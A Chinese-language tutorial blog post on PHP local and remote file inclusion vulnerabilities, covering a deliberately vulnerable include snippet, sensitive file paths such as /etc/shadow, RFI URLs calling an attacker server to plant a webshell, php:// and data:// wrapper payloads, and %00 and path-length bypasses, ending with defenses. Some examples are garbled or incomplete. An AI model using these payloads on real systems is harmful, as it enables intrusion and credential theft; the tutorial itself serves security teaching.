文件包含漏洞

漏洞讲解

漏洞过程解析
在使用include等包含函数时,当对包含文件的来源过滤不严格,那么会包含到恶意文件,攻击者将会通过这个恶意文件来到达他想要达到的相应目的。
引用一句网上看到的话:文件包含漏洞和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

漏洞原理
在开发过程中,难免会有相同代码吃饭使用的情况,我们会将这类代码单独放在一个文件中,等到要用的时候,可以直接在使用出运用包含函数来进行运用,而这种方式会导致客户端可以调用其他的恶意文件,由此被利用。

漏洞利用前提
被包含的文件应该被当作一个变量实验,用户可传入的,如若该变量未被采取相应安全措施(如设置白名单),那么将出现文件包含漏洞。

文件包含漏洞的危害
可以读取web服务器上的敏感文件如配置文件等,如果和webshell配合使用将造成巨大风险

文件包含中的PHP知识

在php.ini文件在有这么两个变量 allow_url_fopen和allow_url_include
allow_url_fopen 默认值为ON,为允许url的封装协议打开文件处理。
allow_url_include 默认值为OFF,为不允许url的封装协议包含文件,如若需要进行远程包含文件需要将参数设置为ON。
这两个参数都只是影响远程文件包含

常见的包含函数
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外两个我都不了解,网上看到整理的,嘿嘿)

就讲一下PHP这四个包含函数的区别吧
include:包含文件时,如若包含失败,会返回一个警告,但不会影响代码执行。
include_once():与include作用相同,不同的是,include_once()函数会检查该文件是否已经被包含过了,如果已经包含过,就不会在包含了,也就是相同的文件只会包含一次。
require():包含文件时,如若包含失败,代码将终止执行。
request_once():与require()类似,与require()不同的是,跟上面将include()和include_once()的不同。

php魔术引导
当sql语句中有单引号'',双引号"",反斜杠\和NULL,需要对这些进行转义,否则写入数据库时候就会出错,php配置文件php.ini中就存在魔术符号magic_quotes_gpc

PHP伪协议部分太多了,在后面一起讲

文件包含漏洞分类
文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞

本地文件包含漏洞(LFI)
能够打开包含本地文件的漏洞就叫作本地包含文件漏洞
举一个例子,在filetest.php文件中写入

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

在phpinfo.php写入

<?php
phpinfo();
?>

filetest.php中有name参数,这个参数能够被用户所控制,用户提供这个参数来包含本地的文件,那么就形成了本地包含漏洞

如filetest.php,这样的代码可以让我们读取到系统本地的敏感信息
可以采用来读取下面这些敏感信息
Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置

Linux系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

因此也可以这样构造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini


当然不只是绝对路径,相对路径也是可以的

远程文件包含漏洞(RFI)
远程文件包含漏洞成因其实和本地文件包含漏洞相同,只不过远程文件包含漏洞利用的是外部服务器中文件。
远程文件包含漏洞需要前面讲的allow_url_fopen、allow_url_include参数均为ON
说一下大概过程
需要两台服务器,一台为目标服务器,一台为攻击者服务器
目的服务器下php代码

<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>

攻击者服务器下php代码

<?php
phpinfo();
?>

攻击者访问目的服务器,并将他本地下服务器的文件进行远程文件包含
假设目的服务器:192.168.0.1
攻击者服务器:192.168.0.2
那么便为192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php

接下来讲一下文件包含漏洞如何可以实现webshell
在远程文件包含时
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php就以这个举例
现在将phpinfo.php中内容改为

")//此处@符号表示即使后面执行错误也不报错

?>
那么我们就会在根目录下创建一个名为webshell.php的文件
就可以用蚁剑
URL地址:http://目标服务器ip/webshell.php
连接密码:cmd
便可以连接成功了

接下来讲PHP伪协议
file:// 访问本地文件系统
http:// 访问HTTPs网站
ftp:// 访问FTP URL
php:// 访问各个输入/输出流 即I/O流
zlib:// 压缩流
data:// 数据
expect:// 处理交互式的流
glob:// 查找匹配的文件路径

file://
访问本地文件系统,既然是本地那么就不受allow_url_fopen和allow_url_include影响,通常用来读取本地文件
使用方式file://文件路径

php://
访问各个输入/输出流
常用的是php://filter和php://input
1)php://filter
用于读取源码
php://filter在执行代码前将转化,如进行base64编码,不然就会直接当作php代码执行,那么就看不到源代码内容了
用法:php://filter/read=convert.base64-encode/resource=你要读取的文件
URL:192.168.0.1(http:目的服务器ip)/test.php(一个php文件)/?name=php://filter/read=convert.base64-encode/resource=test.php
假如test.php里写的是
那么页面就会显示的base64编码
这里是读取当前目录下,也可以用相对路径,来调整

2)php://input
用于执行php代码
需要注意php://input需要以POST请求
php://input访问原始数据的只读流,将POST请求的数据当作php代码执行
用法:当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。(这句话网上看的)
可以结合抓包使用

http://
访问HTTPs网站
可以进行远程包含进行漏洞执行
URL:http://192.168.0.1(目的服务器ip)/test.php(一个php文件)/?name=https://www.cnblogs.com/l-xx123(你所要的网站)

data://
用于数据流读取(听这个很像php://input)
如果传入的是php代码,那就执行任何代码
利用它需要allow_url_fopen和allow_url_include参数均为ON
用法:data://text/plain(格式),(你所要执行的php代码)
为了防止对于一些特殊字符的过滤,还有使用编码方式
以下用了base64编码
datadata://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(加密后的)

文件包含漏洞绕过方式

本地文件包含绕过

空字符绕过(%00截断)
这个需要php版本低于5.3.4,并且关闭前面说魔术符号,为OFF
%00截断的原理
%00是ascii码为0的字符的url编码后
在某些函数处理时,会把这个字符当做结束符。
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。

URL:http://192.168.0.1/tets.php/?name=1.php
如果我们像上面那样输入就要变成1.php.jpg
会拼接一个.jpg
URL:http://192.168.0.1/test.php/?name=1.php
而这样就可以成功包含php代码了

超长字符绕过

超长字符绕过式利用操作系统对目录的最大长度限制
不同系统的最大长度不一样
在 Windows 中目录长度不可以超过 256 字节,linux 中目录长度不可以超过 4096 字节
在这里我们会利用垃圾字符./,当然不止它可以使用,这里就不说了,因为我忘了,可以上网看看
用法URL:http://192.168.0.1/tets.php/?name=1.php././././././././././././././././././././././././././././././././././././././././././././././././././
就是在读取本地文件后面加上很多./

远程文件包含绕过

空字符绕过(%00截断)
同本地文件包含的那个一样,只不过它是远程文件包含而已

超长字符绕过
同本地文件包含的那个一样,只不过它是远程文件包含而已

?绕过
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上?
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php?

还可以使用特殊字符来绕过,加上url编码后

绕过

192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%23
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%23
%23是#url编码后的结果

空格绕过
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以这个为例
我们可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%20
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%20
%20是空格url编码后的结果

文件包含漏洞防护
1.对上传文件进行重命名,防止被读取
2.关闭危险配置,如allow_url_include如果打开,会进行远程包含,十分危险
3.过滤危险字符,比如过滤掉../,或者一些编码的特征
4.设置白名单,来进行文件包含